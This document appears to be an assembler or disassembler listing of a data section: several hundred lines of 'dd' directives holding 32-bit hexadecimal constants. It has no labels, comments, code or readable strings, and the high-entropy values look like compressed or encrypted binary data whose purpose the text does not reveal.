		dd 956FD3BAh
		dd 6432C347h, 0E17F3Dh,	0D21FFE16h, 0D3FCDBh, 1AC1E02h
		dd 6F72685h, 73D8D400h,	258277DCh, 5736004Ch, 0E9E3871Ch
		dd 0A5007F99h, 58A6F4FBh, 90F87935h, 6A9B0094h,	0B09C65A8h
		dd 4F1F8DCDh, 0C905EF09h, 0C0EEE18Ah, 4D436AADh, 0A706D500h
		dd 77EE14C0h, 341000BDh, 8F2BD83Ch, 71006943h, 5E1D5F1Bh
		dd 57D49Dh, 3C757F92h, 392B5480h, 7D8FC0Eh, 9812E021h
		dd 0E7C8F23Fh, 6556DE0h, 0FC88340Dh, 3200202Bh,	5D9D3D98h
		dd 6B4C06h, 925EB913h, 0E82536DDh, 5918DE75h, 6D307397h
		dd 347C5088h, 0CAFA0E06h, 0A803B717h, 0B5C8F3EDh, 0FB008CDBh
		dd 5BA023A3h, 0FB974B6h, 0B26949CCh, 7C135520h,	903473Fh
		dd 975DA2AAh, 3B76C8E3h, 58AE00B9h, 7A96E94Fh, 8F00F4C1h
		dd 535A52Eh, 1F3E8025h,	0C0117646h, 2431E01Fh, 543DA9E9h
		dd 801EB8D5h, 0AD109035h, 24AD094h, 39A3BA2Ah, 0BA419755h
		dd 0DB65F0E2h, 91950A00h, 0BB07810Fh, 0CA173080h, 35515718h
		dd 3892F800h, 67F69A6Fh, 2C0C7A05h, 136FF6Bh, 0F31C6AA6h
		dd 1336308Dh, 7B4620Eh,	81BCFDE7h, 74354169h, 9AF4B0A5h
		dd 61EE0D12h, 0B603ADBh, 87AA0404h, 3232CC9Eh, 0D7040888h
		dd 0FF4F58h, 14896375h,	34C71D52h, 0AF2FE100h, 877A029Ah
		dd 7B786Fh, 0D9B73DBCh,	8BF89EF3h, 0B4511703h, 0E704AA91h
		dd 583B8760h, 42750Fh, 4DD46160h, 0B1F3DA7Eh, 14D01803h
		dd 0C07021h, 244602Ah, 0CDEC4A58h, 20B65629h, 327D8442h
		dd 0BC1AE440h, 0C163A218h, 60BE4F88h, 17B6C9EDh, 9807EB4Eh
		dd 5BA5F9Ch, 8096A372h,	81C9008h, 9B78F2h, 767759E6h, 2C32481Ah
		dd 25F8141Fh, 4D09D900h, 1AE6F06h, 0D6B4A368h, 0FB5499B8h
		dd 0CAE96010h, 0DDCDBC03h, 88016A72h, 75BF604Eh, 0EFB5A04h
		dd 2F51FC68h, 7680B4D4h, 59BF5778h, 0B698EEF4h,	0D6C5D00h
		dd 6E4F4C4Eh, 6661C35Ah, 0B1069BC4h, 528D4DE9h,	7208448h
		dd 45E47CA4h, 7C4DA4AEh, 98B323CAh, 937A2380h, 11FB048Eh
		dd 0B14EDFB2h, 600AB0E6h, 0A41321C0h, 2A0A2B3Eh, 0A9324220h
		dd 0DF2F4B00h, 76289260h, 9D172861h, 0C63805DCh, 0C3C0DBFDh
		dd 0EAD0D9E1h, 0A907FA14h, 0ECB2BECDh, 0B15807C0h, 0C902Ah
		dd 4EDD829Bh, 7CEE8328h, 0FC6D521Bh, 0EFD9B041h, 0D1461182h
		dd 7D3EE073h, 0B9390077h, 6909ABECh, 8B00A21Ah,	0B8CCB2Bh
		dd 766D5C43h, 0FB07C2Dh, 903B837Bh, 29B8C280h, 7FFC4110h
		dd 0E6610603h, 0C43E6F4Ch, 8608AC28h, 0F8683C33h, 2870798h
		dd 47747A8Ah, 34492F02h, 4723533Ch, 440E3C01h, 88FFD96Ah
		dd 0D062C3C0h, 4242F977h, 9226E3C0h, 40AD84DEh,	9B1DE382h
		dd 63473043h, 0E0D2CE0Ch, 0B87FC0F9h, 0B241C109h, 8EF9EB4h
		dd 4329290Fh, 5C01B940h, 0C93ED3FAh, 4B1E1F90h,	0B1202B0Ah
		dd 4AF5CDF8h, 70F885A0h, 334BC001h, 28803C1Bh, 88E7C369h
		dd 72006B6Dh, 921C1546h, 0C7A3ACh, 0D30BBBF4h, 77BD8438h
		dd 26189567h, 64469CA1h, 77CF3E0h, 0A44837BAh, 0C0208A86h
		dd 4CE4A758h, 231B008Eh, 3999969Bh, 0F70F74A5h,	13797CF2h
		dd 940E9200h, 387812h, 0CBEF6B3Ah, 0A8660496h, 0D9189965h
		dd 1EF62072h, 0CFCA1C04h, 0F6B0FE4h, 0EF184C8Ah, 0E1403572h
		dd 0A79DEh, 716A4C5Bh, 8F2B2648h, 207B268Ah, 11EBB050h
		dd 0F22AAB8Ch, 0A4096CAh, 40732E22h, 890EF060h,	6D280187h
		dd 1F0FFCC0h, 5D8B407Ch, 91406570h, 0E15E4CFCh,	4AA5E000h
		dd 8C38C3C9h, 37D6940Fh, 6E574364h, 618007Dh, 0D17C44A4h
		dd 0A21E772Ch, 0DB8F5D3Fh, 20760AD0h, 9D335260h, 46CB74F4h
		dd 0DD62C46Dh, 8C045428h, 0C42836D4h, 0DA8E102Ah, 608C31A0h
		dd 6718F100h, 1AE2578Ah, 84D94392h, 7928B3FAh, 6F1E9201h
		dd 4946274Dh, 0EA14805Eh, 60A760CEh, 46203718h,	4F06F100h
		dd 969E7BD1h, 69C4014Ch, 0D71A7F1Eh, 6862D46Fh,	58187EF0h
		dd 5C28783Dh, 1F273CA0h, 8BD3DE05h, 7A203C05h, 209F2B88h
		dd 4D0E73B9h, 0E7983E5Bh, 8E43AC18h, 31C0C83Fh,	0C551005Eh
		dd 717AD087h, 0AA3E7883h, 0D6A1002Ch, 80201A10h, 0DF62037Bh
		dd 0FB749FD5h, 608CB2BBh, 42F3141Eh, 870FA0ADh,	0B88285FFh
		dd 15F952B0h, 7086A308h, 1BF8FCA2h, 3CB74485h, 0E4E30883h
		dd 73F86A65h, 180A779h,	0CE60E0B7h, 47141F67h, 31A7207Ah
		dd 0AF4D276h, 0C093DB86h, 17949F00h, 18312EA5h,	4FD604F9h
		dd 80D9E69Eh, 0FFACBB04h, 0A1942B00h, 67028E4Ch, 7751F865h
		dd 0D40300C9h, 0B415587Bh, 1D3C59C6h, 20732AD5h, 0C4AC8704h
		dd 7884CBBCh, 882D206Ch, 922027ACh, 3EAFECC3h, 0B61ADE51h
		dd 0AF00C02Ch, 30DBF6EFh, 106E180Ch, 18611831h,	0C8A311B3h
		dd 0CC0FAD0Bh, 0DED5048Fh, 5F002029h, 0F947F4E5h, 0C40B4703h
		dd 96388E28h, 596C6515h, 4B2CE040h, 586FF022h, 2860C46Dh
		dd 8376F644h, 0EC8FC891h, 24928FBEh, 0FE7CD4B7h, 0A6E80B48h
		dd 6AA60140h, 0EF800FF4h, 0D2101B06h, 0D64AE00Ah, 0A9C52383h
		dd 0C83DDAE4h, 99574EF4h, 3EC68460h, 0B3050828h, 0A31FDCA5h
		dd 43E22078h, 407F810Ah, 605EC3EBh, 0E3BF4E1Ch,	72BEDE80h
		dd 47C014B0h, 40D6CAD3h, 14B240ECh, 0C031418Eh,	9156AAA8h
		dd 0B3160040h, 0B43BB5ECh, 328E8FD4h, 0B0C074BCh, 0EA6094A7h
		dd 0C008B3A0h, 7E166680h, 0DE86F11Fh, 0FDD99780h, 16F4FFEh
		dd 0B1882277h, 80A01569h, 5479AD18h, 1F17842h, 80E69C87h
		dd 4C7482A5h, 5102DF20h, 0CFCB964Ah, 0C2103EB6h, 47B07E17h
		dd 6508665Dh, 0D8140DDCh, 28739AEh, 0D77FE1EDh,	0CA4240BCh
		dd 595C07C3h, 0A8160BB8h, 82207756h, 38778D36h,	1C055C17h
		dd 0DB2F0C7Bh, 0F1F26041h, 69E8ED2Dh, 18260302h, 0DCD6F0F8h
		dd 0EE7019C0h, 0B60F4Ch, 0C492C914h, 1837A2ABh,	1818881Bh
		dd 190031F2h, 0A5997DB0h, 0FC2A0977h, 3327867h,	33DF2928h
		dd 0F9880A93h, 0EB0EE627h, 279AE1EAh, 40C5914Ah, 1A3C2070h
		dd 2970032h, 0C531D03Ah, 471135Bh, 0B875BB00h, 0C8FEDC54h
		dd 2FE0F9C6h, 99B1004Fh, 4E78F397h, 0FD210E28h,	12EA6784h
		dd 1015BC98h, 5ED0F7EAh, 8F52AC6Fh, 836B8687h, 1829CE80h
		dd 326E08Fh, 38F079A0h,	15E091A1h, 8D0067B3h, 399798C1h
		dd 30DE8CA4h, 96504C57h, 17889AC8h, 154807ABh, 1F091D0h
		dd 0E4ED31A1h, 0F3008F2Eh, 0C89B77BFh, 2128395Bh, 0B00CCAC9h
		dd 292EB83Ch, 3A2046CFh, 25E36121h, 0E7C806BDh,	403E1334h
		dd 5140370Ch, 0F83918AFh, 0F8CB6E23h, 148D0CDFh, 2C00E770h
		dd 4C5580A9h, 371F637h,	3BECA28Bh, 7802CE3Ah, 207C10F8h
		dd 9908366h, 6A380C5Bh,	2120A019h, 0ECB1C01h, 0CAB5A7Fh
		dd 70C0CCh, 0DDCC1DE0h,	2D3746EAh, 8BBBB80Fh, 0E19E00F0h
		dd 0F7C1C712h, 0D48EED4h, 0CA99F9A0h, 0C94AD050h, 4E8B58C0h
		dd 3E0BE6AAh, 0C1481E9Dh, 24F4F90Fh, 0C6CFC814h, 929C031Dh
		dd 2000CEC9h, 89E463B9h, 570E1ACh, 0F1BF7D40h, 63E4144Fh
		dd 0CD0C5B00h, 0F2638FEAh, 606BDA0Ah, 0CC18F902h, 48135D78h
		dd 8060BD93h, 0DF6DCF86h, 643FF0A0h, 6025C700h,	616AB276h
		dd 29E900DAh, 20C5538Bh, 0E00640Fh, 0ED411E37h,	1F75A05Dh
		dd 0C490EF2Dh, 0C23F5B3Bh, 1262FC03h, 94E7A410h, 0E4AE2128h
		dd 4D3462F4h, 35C3185Ah, 489001BDh, 5E700DFEh, 4703D59Dh
		dd 2677C098h, 75013401h, 19546255h, 3181E1ADh, 20C964A0h
		dd 268842E4h
		dd 88A1D4A0h, 29D9F7A5h, 7510B760h, 1D492A47h, 0A051035Ch
		dd 53F7D17h, 55CF6F88h,	2C8000F5h, 0A2BA75E2h, 6C7838D8h
		dd 109681C1h, 0FC344671h, 0B0C948AEh, 9F63E70Ch, 64FA8758h
		dd 88D0A8A5h, 0BF7030CDh, 0EA4CCBE0h, 2880FF61h, 0AC7B931h
		dd 4E12A3F9h, 0A88B8F80h, 18B4A44Ah, 1401F9A1h,	0E5276900h
		dd 0B85AE33Bh, 15DCF2AFh, 0C409184Eh, 0B4E78B0Ah, 4F6A0070h
		dd 0FD4C9A93h, 49BF9530h, 357ED21h, 0C2EFABB4h,	193BBBA4h
		dd 883969CBh, 1E03E0CAh, 0CECE939h, 9ECD99A0h, 0A77F3720h
		dd 61503A50h, 59F36400h, 0CA306B96h, 0E5510C0Fh, 4521F52Ch
		dd 5F09C3Ah, 0E76EECA0h, 9DBF047h, 73833690h, 4B7431DFh
		dd 0A00B5519h, 0F21A9091h, 47E1394Fh, 45E90000h, 53367601h
		dd 1CE41D14h, 505601F0h, 0BD12BF27h, 3E925434h,	0E531CCD5h
		dd 0ECD285D0h, 11808F34h, 0D20032Eh, 53257864h,	5D573001h
		dd 27582DA3h, 9E9A8850h, 0B25909D6h, 588839B7h,	11C808D8h
		dd 49377A02h, 0FE2444A7h, 0E448C027h, 3BDF5FCEh, 0DEE11F63h
		dd 1092FCAEh, 45B8900Eh, 301830BCh, 0CA8BB358h,	0B49223F0h
		dd 4734FE01h, 1B806A46h, 4B70E08Fh, 0F1E86223h,	0C0A684D7h
		dd 0C2A41D18h, 0F29820C0h, 1042AAh, 0A8D63A2Dh,	0F7C6D0CDh
		dd 5990F400h, 566FA1ABh, 1F4730E0h, 4CCD61A8h, 20919460h
		dd 91ECE846h, 0C901558h, 10D1427Bh, 0DC84ED3Ch,	0FFF821B9h
		dd 6D917A00h, 5BF04090h, 98727C01h, 1F786192h, 2AFEAC30h
		dd 738024E4h, 0A464002Ch, 70BDB34Eh, 9A414DCFh,	0AC3B1C40h
		dd 1D4980A1h, 0E862CBE7h, 10A0C118h, 9F406658h,	0F3274474h
		dd 948E8D26h, 8912F402h, 0A4586860h, 0E03F88E7h, 0E01425EDh
		dd 0F6332DCDh, 0F0C9C1EEh, 15FF4189h, 24925199h, 193CA9C6h
		dd 25E04C16h, 8A8E850h,	85FFEA2Dh, 0AA90BCEh, 6030CB84h
		dd 0ED2EEB35h, 1C19F322h, 49CC9CDCh, 3C88F4FDh,	0A1729E80h
		dd 9F86D08h, 40201C2h, 0A880EDFCh, 0A13A59E4h, 2D03689Ah
		dd 20A4E79Ah, 4B4803E2h, 0AA9BCE26h, 0B8E58807h, 234C970h
		dd 7D30C80h, 458E2E12h,	157D0028h, 40112837h, 30BE8C0h
		dd 0A4F5BD1Dh, 0EEB8213Ch, 0C4B43588h, 79949630h, 4A94F23h
		dd 21F9D8FCh, 8118515Eh, 468D0CF1h, 68A01005h, 6278A5CAh
		dd 931883F8h, 5C7A8CA8h, 53923CA8h, 4200489h, 99B320FFh
		dd 0E8311F62h, 37202CE7h, 501CB544h, 2A2BECD0h,	2A30B87Eh
		dd 1118F578h, 2985E03h,	0E1312E4Fh, 0C8F86BC3h,	29A8BB04h
		dd 3F60A911h, 22C89E1Eh, 15307F53h, 1560E4E8h, 829C68DEh
		dd 1099FAB5h, 108C07C1h, 8AACB8DCh, 78E1D819h, 2708C6CAh
		dd 0D4AC218Eh, 0C93CD694h, 0BD0A065h, 582488DBh, 0BDC4DCCAh
		dd 0A3818ABh, 2D2A8C50h, 192358FBh, 11041CF5h, 684019Eh
		dd 5EE50A6Ah, 0EA1A28C4h, 2C09785Ch, 3AE27Ch, 5B4088D9h
		dd 0A00B4E9h, 353D3C5Ah, 3DD6386Dh, 5383EE3Fh, 0EC68ABBEh
		dd 0E0CA07C9h, 4E00BD4Ch, 122C0A69h, 0F713F06h,	219A54B9h
		dd 418550Ah, 22C9D31Eh,	0F942105Dh, 40D0930Fh, 9A8F1C20h
		dd 1549484h, 1671AF1Bh,	0D1E106FAh, 0E2381842h,	0EE1805A3h
		dd 37996C30h, 89238407h, 0F13208DBh, 20D5C362h,	402470BAh
		dd 62310D40h, 81E31A1h,	3ECA0719h, 90109A21h, 1084915Fh
		dd 9CE785Ah, 55C48E91h,	8416236Ch, 2206F4B9h, 0C863801h
		dd 432F1586h, 0FE143CB5h, 59CAD80Ah, 0D450E7C0h, 6D462113h
		dd 58253C48h, 79648939h, 0EB9A7111h, 0D821220Ch, 897688C9h
		dd 0DC715564h, 627851A5h, 87301270h, 118F7BFCh,	42C3824h
		dd 82040ACh, 943E88BDh,	13481561h, 0B9700800h, 1036D535h
		dd 71854400h, 80A18824h, 0C1CEA231h, 9BC55022h,	0AA9C6150h
		dd 0E91D0C43h, 5F43F018h, 84705211h, 4D313C69h,	436E18D9h
		dd 0D82B2B13h, 6CFF3A8Ah, 3C4BED8Ah, 20549842h,	0E901E5AAh
		dd 0D1078A7Ah, 0E41FDA55h, 4EF73140h, 98305140h, 0DF776C20h
		dd 0C8403320h, 3A81AFC7h, 0F0D2234Ch, 195416F5h, 0D618D4F4h
		dd 0B030AAF9h, 634C3271h, 24B3D2D8h, 0A6C0D9DAh, 0FC7CB03Ah
		dd 848A49CAh, 5E9D483h,	981804ABh, 4A6FC684h, 279158D6h
		dd 8F93C18h, 690370F6h,	2C5E7337h, 0E4D1C02Fh, 0C2C5070Fh
		dd 0C6754085h, 0BE001932h, 0E367370Ah, 3B4A4D2Eh, 25044022h
		dd 81FC13D6h, 0DB1A04BCh, 0EBA65904h, 0D1C3101Fh, 90CFF2DAh
		dd 4239C594h, 1176C313h, 40E070C3h, 0EB1B85FDh,	0C1505DA4h
		dd 0A898A934h, 9C3A116Ch, 0DB29EA60h, 50DEDC6Dh, 137AE496h
		dd 745B08Ah, 0D029514Ch, 2EF15E72h, 5BB438C0h, 24BF09Eh
		dd 0AA761985h, 9CA0B631h, 958C63Ch, 8BA9EF80h, 0D301EAE0h
		dd 2361A4A6h, 0D8BC07D1h, 9123DC4h, 20720AA0h, 3129340Ch
		dd 0DC7F9606h, 98E636h,	9FA39286h, 79E4F0E5h, 165217E8h
		dd 73830098h, 3453CB5Fh, 0A4015CEFh, 68E1D17Ch,	0E9CE6A32h
		dd 911628A1h, 19A307F2h, 6AC114C5h, 82023CECh, 9EF69C02h
		dd 9D586C40h, 5E9BFA0Ah, 8C0508A0h, 0F4413770h,	21D60AECh
		dd 0CAABC881h, 0F0E33338h, 0D470D29Bh, 0E506AC90h, 72AF1AADh
		dd 0B61F02E9h, 0D207DA4Ah, 0D79BE8A7h, 9130CA25h, 7AB40432h
		dd 27022243h, 80875E51h, 0AB0CD68h, 5B0800E0h, 8835FD3Bh
		dd 0DFD23E3Ah, 91AF61FAh, 107B2472h, 2AED80B6h,	0BDC8EC4Eh
		dd 0A8E85241h, 0C803068h, 6BE2FEF0h, 28C8EA18h,	120D87A0h
		dd 20C2094h, 0F81DE54Ch, 870118AFh, 500AC102h, 0FAC97FB4h
		dd 2C939502h, 422D3FFFh, 0A35063E4h, 7303F4A9h,	0F1A6527Dh
		dd 201A0A10h, 1014D926h, 0E3E4033Fh, 0CD2E9488h, 0BA21404h
		dd 0C86CF108h, 2708402Ah, 183C49h, 6C6EB742h, 90415836h
		dd 7C150538h, 23B911Ah,	7AD6D29Ch, 16CC04E8h, 4490CD4Dh
		dd 5F04F6D8h, 1AB870Bh,	4B4E3501h, 0F6A8DD34h, 0A3E42040h
		dd 9826220h, 54491A7Ah,	0FDDA2C10h, 268C8A81h, 58A860A1h
		dd 19337310h, 0C3FB7D02h, 5448740Ah, 29443C1Ah,	60109062h
		dd 246891DFh, 28C2FE8Ch, 0AE408A28h, 43760FA8h,	30F5489h
		dd 0B39DC6D0h, 0C100D2EEh, 0AB8A9892h, 5C16516Eh, 60711640h
		dd 84024981h, 0B0DE06FEh, 7CE12601h, 0A825A927h, 2C023044h
		dd 612E8370h, 0D2EB2Ch,	0DB9C9BD2h, 7C5C2B48h, 0A0D03F54h
		dd 78AAF324h, 9056D242h, 4840CA24h, 0A74C9432h,	4814F151h
		dd 2E0EEC81h, 4ECD8A4h,	1F9927Ch, 0AFD73A65h, 291B88D0h
		dd 43074B5h, 88E559CCh,	0E10AB024h, 869CE12h, 0EF414B81h
		dd 74248372h, 2004B09Fh, 192A999Bh, 1F0B98E4h, 213861B9h
		dd 0E81704D0h, 0A103C33h, 1652826Ch, 0C46043BFh, 9780EC40h
		dd 109929CAh, 0EB45D901h, 74348FEFh, 88F303E1h,	1D1FD4F0h
		dd 0C5595900h, 97CF63B1h, 182B353Eh, 25940B19h,	3414182Fh
		dd 0AFD2BE87h, 0E8279969h, 690402DFh, 0C8003846h, 0FC337DEBh
		dd 93938B57h, 3FCA0908h, 7AB754A0h, 88A01D57h, 4B287042h
		dd 1701DCB1h, 0E5A3E32Fh, 582012C9h, 225720D3h,	0B4808A05h
		dd 40C21192h, 1F493CCh,	78D98B0h, 405C446Ch, 49F93AA0h
		dd 8F55D009h, 96C822C3h, 6320AB95h, 0FBE3C175h,	4022E89Dh
		dd 4C4AFC2Bh, 5559D6EBh, 1E6301D4h, 0E8C56F78h,	28204102h
		dd 3917BDBh, 493F7F3h, 7814205Fh, 7C109F8Bh, 0C0125B77h
		dd 6004AEC6h, 0E141C47Dh, 0CB7E86A7h, 0AE8800E5h, 0A47D7450h
		dd 895E10A0h, 0A24B8819h
		dd 94E02B11h, 0BC93336Eh, 20116330h, 441FA37Bh,	469E9375h
		dd 5015AEBCh, 83089650h, 633387F0h, 0C1643130h,	9710C693h
		dd 0B8C0E542h, 1AC3BCF7h, 0D325287Ch, 1140069Ch, 20F9773Ah
		dd 0B0C6832Eh, 2E42408h, 46688A86h, 65A0B043h, 0A278FCC7h
		dd 4F3085FCh, 4451E190h, 1DE744Eh, 99F82BAAh, 29D9AFh
		dd 0F5B883F9h, 0B081F844h, 2B0109BEh, 5CB82090h, 2E944488h
		dd 9FF4603Ch, 0C2894087h, 0C5A3BC9Dh, 118056Bh,	92789B80h
		dd 0F9FC5021h, 93C60235h, 3870D88Bh, 0EC681848h, 58D95E24h
		dd 1EB0E01h, 0F8515FD6h, 0F5E18443h, 0B3DD4C31h, 3FAFCAD0h
		dd 9F130887h, 2101634h,	0F57D619Ch, 0E0C6C840h,	84325819h
		dd 4D1299B1h, 0C8901CE4h, 11E34A4h, 3F06956Eh, 7941F428h
		dd 11A0C815h, 2056CA89h, 0E44DDAB8h, 74B20505h,	40B49604h
		dd 69C80D24h, 6818BBF1h, 7AC1299Bh, 26F2312Ah, 248DCEA8h
		dd 107B410h, 0DEBC6A8Ch, 1B9F81Ch, 2B0F46F7h, 0D5E792EDh
		dd 4982C8Eh, 401B8775h,	633A34A4h, 6F7019EDh, 77B2990Ch
		dd 0E98008F0h, 0C0482832h, 0BFDB065h, 0C890CD08h, 494B0286h
		dd 4FE4D800h, 93D0D1Eh,	7D72DBE1h, 6C15C93h, 421DE17Fh
		dd 64410508h, 2491BC2Dh, 16149C47h, 30093210h, 1942820h
		dd 0B1554506h, 3CD2FC8Fh, 0D6FF760Bh, 19D49038h, 0F3AA017Ch
		dd 0DA5D5BEFh, 7D85381h, 0E7B03801h, 0E67C25E5h, 6EC50C40h
		dd 70AB014Bh, 0AE278AAAh, 1E3F04Ah, 9DBBC31Fh, 98A5920Ch
		dd 4AD09267h, 0B14C4297h, 2C2F578h, 3898E18Eh, 0BC92B2DFh
		dd 3FB3F000h, 58715F43h, 0B0632868h, 0B4A6485Ch, 73F5E510h
		dd 37D5883Ch, 12B7592Ah, 9E0D060Fh, 5A2C4011h, 8084E544h
		dd 9189AB1Eh, 0F1F401h,	0F5A8814h, 93E171C9h, 880C8433h
		dd 0FB00B7F4h, 2382DB2Ah, 262652E8h, 2A88FB5h, 0EC7F4C31h
		dd 2808E452h, 3ABA2Ah, 2FB14968h, 4B056C3Dh, 0E36D38F2h
		dd 87E0648Dh, 0BB832AD8h, 363500A0h, 0B31317AFh, 0B50BBA22h
		dd 2F64ACB9h, 0DA1DA0DCh, 0E915F6BDh, 5834828h,	6580F059h
		dd 95FA6BBCh, 0EB60F865h, 806F6448h, 0A4863BB4h, 355CC026h
		dd 80885C33h, 0DC29DA9Fh, 7611C778h, 0FCD9C0CDh, 33493887h
		dd 0D5C80A18h, 605A7895h, 0C9AEE894h, 0F086A218h, 0E405798Ah
		dd 0C2888636h, 81C40801h, 60F21887h, 0AA859788h, 92FCC1CCh
		dd 7261038h, 5494050h, 0D6E2D591h, 0ECFF750Ah, 3080FCA9h
		dd 0DA3A3DFDh, 25B180F5h, 9C8DD007h, 208BD576h,	0F30A5418h
		dd 8AC82C93h, 0DAB4044Ch, 7170A03Bh, 5A8CB914h,	34522E94h
		dd 23582808h, 58F342D8h, 0C0C81403h, 39685Fh, 385063B0h
		dd 0D2928D03h, 75AC2C48h, 0B6018F01h, 6A9F33E9h, 0E899AC2Ch
		dd 58A838FDh, 0AF708008h, 185A898Dh, 11EFCDEAh,	1CB27827h
		dd 600670C0h, 5C2C9195h, 289D2CE1h, 0B1C9021Ch,	783ACED6h
		dd 0E953DC70h, 0A0867CA8h, 296CCF4Ch, 0E08CF98Bh, 40248746h
		dd 3AE87A53h, 8C7C466Ah, 95FC935Ch, 9BF98450h, 39524488h
		dd 3A1DF715h, 9DBC2493h, 505896ECh, 40A2058h, 428098CCh
		dd 7D048AF8h, 6210308Ah, 0D6540630h, 4B711487h,	6C84476Bh
		dd 0EF9462E8h, 85A1B460h, 0B428490Ah, 5812B0E9h, 0FAEB9C61h
		dd 20CAF11Eh, 29D8424h,	88DE210Ah, 0B866F240h, 82721A00h
		dd 74239051h, 0BBCA470h, 0CA6B0A6Ch, 6D55010h, 87F9AF02h
		dd 0A1D03DAEh, 0C76A08A8h, 6884B438h, 0B0C8E4BCh, 39DE7112h
		dd 40C6F488h, 0D914F7E4h, 7874B625h, 0C213AF78h, 7C20FBCBh
		dd 0C96979h, 8842407Dh,	57BED4E0h, 0D9DADF0Ah, 0F3149CE2h
		dd 22204CD8h, 0CE4E18A1h, 29FCB12Ah, 0AB001973h, 58BB1FA3h
		dd 39F4BE1h, 0F3189457h, 45B0C056h, 40033EFh, 0BDFEA9FBh
		dd 4F55195h, 0F1E90224h, 0CCE8D297h, 0C69910C1h, 91023122h
		dd 2088B908h, 63009861h, 5F3E4F2h, 8C204917h, 50A4730Fh
		dd 2800877h, 760AF80h, 9AA9F09h, 507C2671h, 0E07DD820h
		dd 81C0FC97h, 4047B360h, 0EA39C65Eh, 4D70F1E4h,	48BA61CBh
		dd 0C6423A0Ch, 29A0EA89h, 0B29D4F09h, 2BC8E882h, 0B51A28ADh
		dd 0A22D1210h, 0EA0C80A9h, 9C28DF6Bh, 0B040B0B2h, 99DCBAh
		dd 2794D7C3h, 595C2251h, 45C73E18h, 5DE63064h, 1E88182Eh
		dd 897C17BCh, 88E92861h, 41824EE1h, 33F8F2B3h, 99E28486h
		dd 1ABFAA1Eh, 3108FA14h, 0D30590D0h, 0C43BA401h, 5E2A7336h
		dd 0B701FC34h, 851DE4B3h, 0CC4477F7h, 52D954B4h, 6C4F984Ch
		dd 0DE30DB1Ch, 6ABA4842h, 526617ECh, 6FE400CAh,	72880ED2h
		dd 0D803464Eh, 284D69C6h, 4FB0D470h, 0C0C11EEh,	0C490576h
		dd 3F91CBCh, 0B234DEB0h, 0C3E0FDE3h, 870AF0C7h,	40298092h
		dd 0D1774B04h, 0EBC254E7h, 0C622B699h, 0BAEC5B4Ah, 0C33DD891h
		dd 4D5D2A0h, 344B5F40h,	0E4D8F461h, 9AEEA310h, 51AB890Bh
		dd 5830A08Ch, 61637338h, 1883E540h, 0BE04807Ch,	0C0C7F172h
		dd 56BF328h, 22823Eh, 2D655ACDh, 4EC6A299h, 8A70727Dh
		dd 0E88E4520h, 0BC1228AAh, 19F4BE0h, 0A3729B60h, 9259BADEh
		dd 38C033B0h, 0C9AE7F82h, 0BC92D918h, 0B71C8C70h, 0F094246Bh
		dd 2860588h, 0A8101344h, 0D58207A0h, 0D8A057A2h, 926CDFh
		dd 0B49FC19Eh, 61ACEEBh, 37AC04D0h, 214448E3h, 20DE8A42h
		dd 4CB3A600h, 0C818CE47h, 214C40D3h, 1972B49Dh,	84868F2Ah
		dd 40E3DB3Eh, 0FBB60075h, 0C7C92E03h, 0D5003197h, 64E8653Ch
		dd 0C8BA56E7h, 4D628DF8h, 0FD1F11CDh, 0E3841722h, 6C040738h
		dd 0B4D60D24h, 0A860504Bh, 59142BB9h, 0AC7C17AAh, 268B7C95h
		dd 0AFD84E71h, 27C7C10h, 1951344h, 0EB29FF41h, 20FC24BAh
		dd 0A2DDA38h, 0F3740036h, 5B46DC9Bh, 0D0740027h, 1372EF40h
		dd 9809A0B2h, 5502E4Dh,	202C2D45h, 261821E1h, 0C071B78Fh
		dd 616476D7h, 77B314B6h, 0F04C44Ah, 0D14041ABh,	20515528h
		dd 7B06EAA8h, 22691D57h, 9C5D4D09h, 0C767F101h,	306353BAh
		dd 893BEB55h, 0E402DAE8h, 393D2B4h, 47D271A2h, 3D428481h
		dd 7F418F03h, 191613Ch,	0F44039F3h, 79B7140Dh, 9E3209F4h
		dd 5C589A0Ah, 58447412h, 6FFA046h, 1ED6F041h, 471FAA2Fh
		dd 568B0937h, 0BB67083Ch, 0ACC05821h, 1E68CCF9h, 0D616CB63h
		dd 21E41A25h, 1613DCA7h, 0F10011FCh, 69D271ABh,	33042B1Fh
		dd 0F0082F53h, 0E1002178h, 217A6D71h, 7414856h,	0AF14C00Dh
		dd 0D1CBA0ACh, 5B5D96C3h, 0D020031Ch, 4735AA3h,	61240410h
		dd 8328C012h, 1C9EC390h, 0CD2D7100h, 0AEE52Eh, 7FB1EDF5h
		dd 61D4D3BCh, 365DAD00h, 9B95F764h, 296A001Ah, 9279962Ch
		dd 837659D0h, 0C7D5AF00h, 1069E477h, 0B0F800CAh, 0FF6B92C2h
		dd 0A00F2BCh, 2837E165h, 6CA021h, 0CD90234Eh, 2C418F04h
		dd 5C0B500Eh, 0B9F44002h, 1F1235h, 0F5232065h, 1D511143h
		dd 36A2703h, 0B85310D2h, 314266h, 96CB019Ah, 0EC37D4Ah
		dd 0F6C4F00h, 9C32E6E1h, 0D68D0E88h, 0F4A0DB82h, 7508B50Ah
		dd 0A5ED850Fh, 27C381ACh, 6DE4CD2Bh, 35EF008Eh,	0DF7D45E0h
		dd 320391EDh, 0C81573A8h, 46F3E167h, 3105F0h, 5C1B950Fh
		dd 5F37D6E1h, 8083543Fh, 78166DCBh, 0AA10F2h, 0B1566442h
		dd 21B6E280h, 600A9800h, 1BCB578Ch, 0E60C17A4h,	9E860762h
		dd 1A7B805Dh, 0F8008C1Eh, 6A81999h, 0D8CF67h, 5FB3CE21h
		dd 51356911h, 0D1C7FB00h, 13B9768Dh, 5C260048h,	7092C180h
		dd 0EEF6F7E6h, 0F8334C00h
		dd 504B67B5h, 89171C02h, 0F931C0B6h, 0EF36BAFDh, 800F6D79h
		dd 40D25C7Ah, 84418CD8h, 33CF0FD4h, 0F7DB08h, 5E7D6FD1h
		dd 5F0F3653h, 200710C7h, 7FFF2944h, 23491D2Ch, 0D8D00088h
		dd 40F3B0F7h, 6B286C03h, 0EE8B79h, 33689FC0h, 0D717C550h
		dd 7CBFB53Ah, 5AFCEC01h, 5DDE75AEh, 0C16551D4h,	1AEDDC60h
		dd 0A0F4EC47h, 80D8703Dh, 807C6301h, 14A8336h, 710950EDh
		dd 80DA4D8Fh, 2C05CA51h, 3A19A4Ch, 5A5390A5h, 36F871BCh
		dd 43CC1EAh, 3ED5807Ch,	769C7DCCh, 0C0E20095h, 9B5BC5C8h
		dd 0C4307B4Ch, 93421DAh, 0DF9201D0h, 0D6B6F059h, 0DDFED0F4h
		dd 424D0D00h, 0EF23090Ch, 8784009Bh, 21EAC28h, 0CE0E6CC9h
